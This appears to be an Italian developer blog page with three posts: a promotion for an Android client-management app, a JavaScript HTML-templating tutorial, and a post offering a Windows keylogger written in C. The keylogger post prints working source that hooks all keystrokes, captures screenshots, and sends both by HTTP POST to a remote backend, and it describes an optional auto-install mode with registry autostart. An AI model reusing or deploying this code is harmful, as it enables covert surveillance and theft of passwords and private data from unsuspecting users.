App Android per gestione clienti

Ho lavorato insieme ad agenti di commercio e liberi professionisti per alcuni progetti e ho notato che molti di loro hanno bisogno di ricordare i dati dei loro clienti,  l’indirizzo e posizione geografica per pianificare il giro visite, ricordare la lista delle attività svolte, promemoria e scadenze. Alcuni usano più applicazioni differenti nel telefono, una per i contatti, una per le note, una per ricordare eventi e scadenze etc.. altri usano programmi ad-hoc fatti in Visual Basic o Access (!) e sono costretti a portarsi dietro computer portatili.

Ecco quindi l’idea di una applicazione Android che facesse esattamente tutte queste cose ma con l’indubbio vantaggio di essere una sola app e sempre a portata di mano. Niente più laptop o moltitudine di programmi differenti, solo una app nel telefono con tutti i dati dei clienti, la loro posizione su Google Maps, lo storico delle visite, le attività svolte, i promemoria e le eventuali scadenze da tenere sotto d’occhio.

L’applicazione che ho realizzato si chiama semplicemente CLIENTI e permette appunto la gestione dei propri clienti, memorizzare i dati anagrafici e altri dati personalizzati, segnare la posizione del cliente sulla mappa, tenere traccia delle attività svolte, salvare promemoria, impostare scadenze e pianificare il giro visite. Si integra con Google Maps e Google Calendar. L’app è disponibile su Google Play e questo è il link alla pagina ufficiale

applicazione android clienti, lista e mappa

A chi si rivolge questa app?

A tutte quelle persone che hanno una attività, sono liberi professionisti, agenti di commercio o artigiani e si trovano spesso nella necessità di gestire un cliente alla volta o più di un cliente contemporaneamente, tenendo traccia delle attività svolte con chi e quando.

Caratteristiche principali

Ecco una lista delle caratteristiche principali, ma c’è molto altro sotto il cofano

  • Memorizzare i dati del cliente
  • Ricerca dei clienti per nome o qualsiasi altro campo
  • Campi personalizzati per la scheda cliente come “P.iva” o “numero telefono secondario”
  • Associare categorie ai clienti, come ad esempio “idraulico”, “elettricista”
  • Creare zone per i clienti, come ad esempio “Milano centrale” o “zona Trasimeno”
  • Impostare la posizione della cliente sulla mappa Google Maps
  • Calcolare percorso ottimale dalla posizione corrente (GPS)
  • Lista di note e attività col cliente
  • Impostare scadenze per i clienti
  • Ordinare i clienti per scadenza o nome
  • Importazione da CSV e backup/ripristino dei dati
  • Sincronizzazione con altri dispositivi

Lista clienti e mappa

La schermata principale ha due tab: lista e mappa. La lista è ovviamente la lista dei clienti con le informazioni riassuntive, la tab mappa invece mostra la posizione dei clienti su Google Maps (per i clienti ai quali è stata associata una posizione ovviamente).Unknown 18.28.23Ad ogni cliente è possibile associare una scadenza temporale, la scadenza sarà normalmente di colore verde, passerà poi al giallo all’avvicinarsi ed infine sarà di colore rosso quando sarà scaduta. E’ possibile impostare la soglia di cambio colore da verde a giallo (es. diventa giallo se entro una settimana). Il menu in alto a destra permette di ordinare i clienti per ultima visita, per rating o per scadenza. Oppure filtrarli per categoria e zone. Le categorie e le zone sono definibili a piacere.

Unknown-3

Modalità mappa

La modalità mappa dà una visione d’insieme della posizione dei propri clienti. Ogni bandiera rappresenta un cliente e può avere 4 colori differenti: blu se il cliente non ha alcuna scadenza associata, verde se ha una scadenza, gialla se la scadenza è prossima oppure rossa se la scadenza è passata

Unknown-2

Il pulsante GPS ci posiziona nel punto esatto dove ci troviamo. E’ possibile richiedere le indicazioni stradali per raggiungere uno qualsiasi dei clienti

Screen Shot 2017-08-02 at 21.58.34_framedInserire un nuovo cliente

Molto semplice. Cliccare sul bottone + ed inserire il nome. Una cosa che ho sempre detestato nelle altre app è la quantità di campi vuoti che vengono mostrati quando si inserisce un nuovo contatto. In questo caso solo un singolo campo è richiesto, il nome del cliente. Se si è sul posto è possibile anche premere il tasto GPS per impostare automaticamente posizione sulla mappa e l’indirizzo. I campi aggiuntivi possono essere aggiunti in un secondo momento

Screenshot_1501706338_framed

Scheda cliente

Veniamo alla scheda cliente. Entrare è semplicissimo, basta premere sopra una scheda nella lista o sopra una bandiera nella mappa… ecco qua come si presenta:Screenshot_1501706211_framedE’ bene ricordare che i campi vuoti non vengono mostrati così da mantenere l’interfaccia pulita ed essenziale, senza complicare troppo. Si possono inoltre ottenere indicazioni stradali, chiamare il cliente con il numero principale oppure entrare nella sezione note ed eventi.

Note ed eventi

Ogni cliente ha la sua sezione note ed eventi dove è possibile registrare fatti ed avvenimenti con quel determinato cliente. Le note sono semplicemente dei post-it testuali ordinati cronologicamente. Ad ogni nota è possibile associare una o piu’ categorie. E’ possibile inoltre ricercare e filtrare le note esattamente come si fa per i clienti

Unknown 20.01.40

Ad esempio, un elettricista potrebbe ricevere una chiamata da uno dei suoi clienti (o un cliente nuovo). Può segnarsi quindi la richiesta su questa lista di attività e magari anche la scadenza

Tutto il resto

Esistono molte altre funzionalità disponibili nella versione PRO: importazione di clienti da file CSV, possibilità di esportare il backup completo e importarlo su un altro dispositivo, sincronizzazione e condivisione dei dati tra dispositivi. L’app è disponibile su Google Play ed è compatibile con tutti i device Android dal 4 in poi (tutti i modelli post 2011)

googleplay

Se avete pareri, miglioramenti o notate qualche problema scrivetemi pure, anche nei commenti qui sotto, sarò lieto di includere le modifiche nella prossime versioni

Cordova App – Generazione HTML dinamico in Javascript

Un problema frequente nelle app Cordova HTML/Javascript (ma anche in tutte le applicazioni web normali) è quello di generare dinamicamente porzioni di codice HTML, ad esempio creare risultati di ricerca o semplici liste: Screen Shot 2017-05-08 at 22.49.43 Il metodo più utilizzato è quello di embeddare il codice HTML direttamente come stringhe nel sorgente Javascript, qualcosa di questo tipo:


for(var c = 0; c < cards.length; c++)
{
   var card = cards;
   var name = card["name"];
   var id = card["id"];
   var lat = card["lat"];
   var lon = card["lon"];
   var address = card["address"];
   var tags = card["tags"];

   var html = '<li class="swipeout"><div class="swipeout-content"><a href="#" onclick="openid(' + id + ');" class="item-link item-content"><div class="item-media"><img src="' + img + '" width="44" style="border-radius: 50%;" /></div><div class="item-inner"><div class="item-title-row"><div class="item-title">' + name + '</div></div><div class="item-subtitle">';
    html += address + '<br />';

    html += '</div></div></a></div><div class="swipeout-actions-right"><a href="#" class="swipeout-delete" data-confirm="Are you sure want to delete this item?" data-confirm-title="Delete?">Elimina</a></div></li>';

    htmlAll += html;
}

La variable htmlAll contiene il codice HTML di tutta la lista, da applicare poi al DOM. Il sistema funziona ma l’HTML è a dir poco impossibile da mantenere, cambiarlo anche solo in minima parte richiede una considerevole mole di lavoro.

Template HTML

Un metodo più efficace è quello del templating HTML. E’ sufficiente creare il template HTML, ossia l’elemento da generare programmaticamente. Il template contiene tag speciali <%nomevariabile%> che saranno poi sostituiti con gli elementi testuali opportuni.  Il codice Javascript si occuperà solamente di prendere il template, riempirlo con i testi corretti, ed appenderlo al DOM. Ecco un esempio di template HTML:


<script type="text/html" id="card_template">
   <li>
   <a href="#" onclick="loadHistory(<%=id%>);" class="item-link item-content">
      <div class="item-media">
         <img src="<%=image%>" width="44" style="border-radius: 50%;" />
      </div>
      <div class="item-inner">
         <div class="item-title-row">
            <div class="item-title"><%=name%></div>
         </div>
         <div class="item-subtitle"><%=address%><br /></div>
      </div>
    </a>
    </li>
</script>

Da notare che il template va messo nel file .html e non nel codice Javascript. Il browser ignorerà questo codice in quanto racchiuso dal tag <script type=”text/html”></script>

Il codice Javascript risulterà enormemente semplificato:


for(var c = 0; c &lt; cards.length; c++)
{
    var card = cards;

    htmlAll += tmpl("card_template", card);
}

La funzione tmpl() accetta due parametri: l’id del template HTML e l’oggetto Javascript contenete i dati da scrivere nel template stesso. Il valore di ritorno è semplicemente una stringa contenente il codice HTML formattato con i campi presenti nell’oggetto Javascript. Da notare che i tag all’interno del template HTML devono coincidere con i campi dell’oggetto Javascript passato alla funzione tmpl(). Ad esempio, se l’oggetto Javascript è cosi’ formato:


var card = {
   name: "gianluca",
   phone: "3286961602"
}

il template dovrà necessariamente contenere i tag <%=name%> e <%=phone%>
La funzione tmpl() può essere scaricata a questo indirizzo

Keylogger in C per Windows XP/7/8/10

Un keylogger scritto completamente in C e compatibile con Windows XP, Windows 7/8/10. Questo keylogger effettua snapshot dello schermo e invia tasti e immagini ad un back end PHP remoto (specificabile nel sorgente).

Ecco il link al repository su github:

https://github.com/gianlucag/Keylogger

E’ lo sforzo congiunto mio e di Gaetano di Mitri; per circa 1 settimana abbiamo lavorato a questo progetto.

1487631997_image

Ecco le caratteristiche principali del keylogger:

  • cattura tastiera ed eventi mouse
  • screenshot ad intervalli regolari
  • invio tasti e screenshot a backend PHP remoto
  • modalità auto installer o modo normale

Gli eventi mouse sono opzionali, l’intervallo di cattura dello snapshot è configurabile cosi’ come l’URL remoto di invio dei dati.

Funzionamento generale

Il keylogger si basa essenzialmente sulla hook Windows WH_KEYBOARD_LL. Questa hook permette l’intercettazione a basso livello degli eventi tastiera generati dall’utente. Specificando una apposita callback (in questo caso RawInputKeyboard) è possibile dirottare tutti i keystroke verso questa funzione, registrarli in memoria e quindi ripassarli al sistema operativo. I keystroke vengono registrati in un buffer dinamico che cresce in funzione della quantità di dati ricevuti. Ogni tot secondi (configurabili) il keylogger “svuota” il buffer e invia i dati ad un URL specifico, anch’esso configurabile. L’invio è una semplice chiamata HTTP POST effettuata tramite la libreria libCurl. Una hook secondaria (WH_MOUSE_LL) permette invece di ricevere gli eventi del mouse (posizione, click sinistro, destro, doppio click etc..).

Ad intervalli regolari il keylogger provvede inoltre a creare uno snapshot dello schermo per poi inviare i dati al medesimo backend remoto, sempre in modalità HTTP POST.

Funzionamento nel dettaglio

Analizziamo meglio il codice sorgente:

Nel main() viene creato il thread in ascolto per gli eventi tastiera (funzione Keylogger()). Successivamente il programma si porta in un loop infinito nel quale invia i dati al backend remoto. In questo loop viene creato lo snapshot dello schermo e viene svuotato il buffer dei tasti digitati. I dati sono passati a CURL che a sua volta effettua la connessione HTTP POST al server.

int main(int argn, char* argv[])
{
	mutex = CreateMutex(NULL, FALSE, NULL);

	buffer = (char*)malloc(BUFFERLEN);
	buffer[0] = 0;

	HANDLE logger;
	logger = CreateThread(NULL, 0, KeyLogger, NULL, 0, NULL);

	unsigned int timer = 0;
	int len;

	while(1)
	{
		if(timer % SNAPSHOT_SEC == 0)
		{
			SendScreenshot();
		}

		if(timer % 10 == 0)
		{
			// lock
			WaitForSingleObject(mutex, INFINITE);

			len = strlen(buffer);

			// unlock
			ReleaseMutex(mutex);

			int res = CurlSend(buffer, len, "text=");
			if(res)
			{
				// lock
				WaitForSingleObject(mutex, INFINITE);

				// reset buffer
				strcpy(buffer, buffer + len);

				// unlock
				ReleaseMutex(mutex);
			}
		}
		timer++;
		Sleep(1000); // 1 sec sleep
	}
	return 0;
}

Il thread Keylogger() crea la hook WH_KEYBOARD_LL e istruisce il sistema operativo a chiamare la callback RawInputKeyboard() ogni qualvolta l’utente preme un tasto sulla tastiera. La suddetta funzione non fa altro che inserire il keystroke nel buffer. Se il buffer è pieno, viene ri-allocato raddoppiandone la dimensione (NdA. grazie Gaetano!). La callback controlla l’evento WM_KEYDOWN ossia l’evento di pressione tasto; è possibile controllare anche altri eventi quali tasto rilasciato WM_KEYUP, tasto in hold e molti altri

LRESULT CALLBACK RawInputKeyboard(HWND hwnd, int nCode, WPARAM wParam, LPARAM lParam)
{
	if(nCode == WM_KEYDOWN)
	{
		KBDLLHOOKSTRUCT *keyboard = (KBDLLHOOKSTRUCT *)wParam;
		SaveKey(keyboard-&gt;vkCode);
	}

	return DefWindowProc(hwnd, nCode, wParam, lParam);
}

DWORD WINAPI KeyLogger()
{
	HINSTANCE hExe = GetModuleHandle(NULL);
	//hMouseHook = SetWindowsHookEx(WH_MOUSE_LL,(HOOKPROC)RawInputMouse, hExe, 0);
	hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)RawInputKeyboard, hExe, 0);
	MSG msg;

	while (GetMessage(&amp;msg, NULL, 0, 0) != 0)
	{
		TranslateMessage(&amp;msg);
		DispatchMessage(&amp;msg);
	}

	return 0;
}

Da notare che thread principale e thread keylogger condividono il buffer dati (uno legge e l’altro lo scrive), perciò è stato utilizzato un mutex per gestirne la concorrenza.

Creazione snapshot ed invio remoto

La creazione dello snapshot si è rivelata alquanto complessa. In Windows è possibile richiedere lo snapshot dello schermo corrente chiamando la funzione CreateCompatibleBitmap che restituisce un array di byte ABGR (alfa, Blue, Green e Red), fondamentalmente una bitmap non compressa e quindi molto pesante (svariati megabyte per uno schermo 1080p). Inviare lo snapshot raw al server remoto è possibile ma veramente inefficiente. La soluzione è convertire la bitmap in una PNG da pochi kb utilizzando la libreria LodePNG. La libreria è scritta in C e consiste di due soli file .h e .c: prende in ingresso un byte array di valori RGBA, effettua la conversione e scrive la PNG su disco. La libreria è stata modificata in modo tale da non scrivere il file .png su disco ma semplicemente restituire un ulteriore buffer contenente  i dati png

BOOL GetBMPScreen(HBITMAP bitmap, HDC bitmapDC, int width, int height, unsigned char** bufferOut, unsigned int* lengthOut)
{
	BOOL Success=FALSE;
	HDC SurfDC=NULL;
	HBITMAP OffscrBmp=NULL;
	HDC OffscrDC=NULL;
	LPBITMAPINFO lpbi=NULL;
	LPVOID lpvBits=NULL;
	HANDLE BmpFile=INVALID_HANDLE_VALUE;
	BITMAPFILEHEADER bmfh;

	if ((OffscrBmp = CreateCompatibleBitmap(bitmapDC, width, height)) == NULL)
		return FALSE;

	if ((OffscrDC = CreateCompatibleDC(bitmapDC)) == NULL)
		return FALSE;

	HBITMAP OldBmp = (HBITMAP)SelectObject(OffscrDC, OffscrBmp);
	BitBlt(OffscrDC, 0, 0, width, height, bitmapDC, 0, 0, SRCCOPY);
	lpbi = (LPBITMAPINFO)malloc(sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD));

	ZeroMemory(&lpbi->bmiHeader, sizeof(BITMAPINFOHEADER));
	lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);

	SelectObject(OffscrDC, OldBmp);
	if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, NULL, lpbi, DIB_RGB_COLORS))
		return FALSE;

	lpvBits = malloc(lpbi->bmiHeader.biSizeImage);

	if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, lpvBits, lpbi, DIB_RGB_COLORS))
		return FALSE;

	int h = height;
	int w = width;
	unsigned scanlineBytes = w * 4;
	if(scanlineBytes % 4 != 0) scanlineBytes = (scanlineBytes / 4) * 4 + 4;

	char *png = malloc(w * h * 4);
	int x,y;

	for(y = 0; y < h; y++)
		for(x = 0; x < w; x++)
		{
			unsigned bmpos = (h - y - 1) * scanlineBytes + 4 * x;
			unsigned newpos = 4 * y * w + 4 * x;

			png[newpos + 0] = ((char *)lpvBits)[bmpos + 2]; //R
			png[newpos + 1] = ((char *)lpvBits)[bmpos + 1]; //G
			png[newpos + 2] = ((char *)lpvBits)[bmpos + 0]; //B
			png[newpos + 3] = 255;            //A
		}

	free(lpvBits);
	lodepng_encode32_memory(png, width, height, bufferOut, lengthOut);
	free(png);

	return TRUE;
}

Modalità auto installer

La modalità auto installer copia l’eseguibile all’interno della cartella di installazione di Windows e crea una chiave di registro per l’avvio automatico. La modalità è disattivata di default, per abilitarla occorre modificare il file sorgente. Nella modalità di default il keylogger si avvia come programma standard ed è ben riconoscibile nel task manager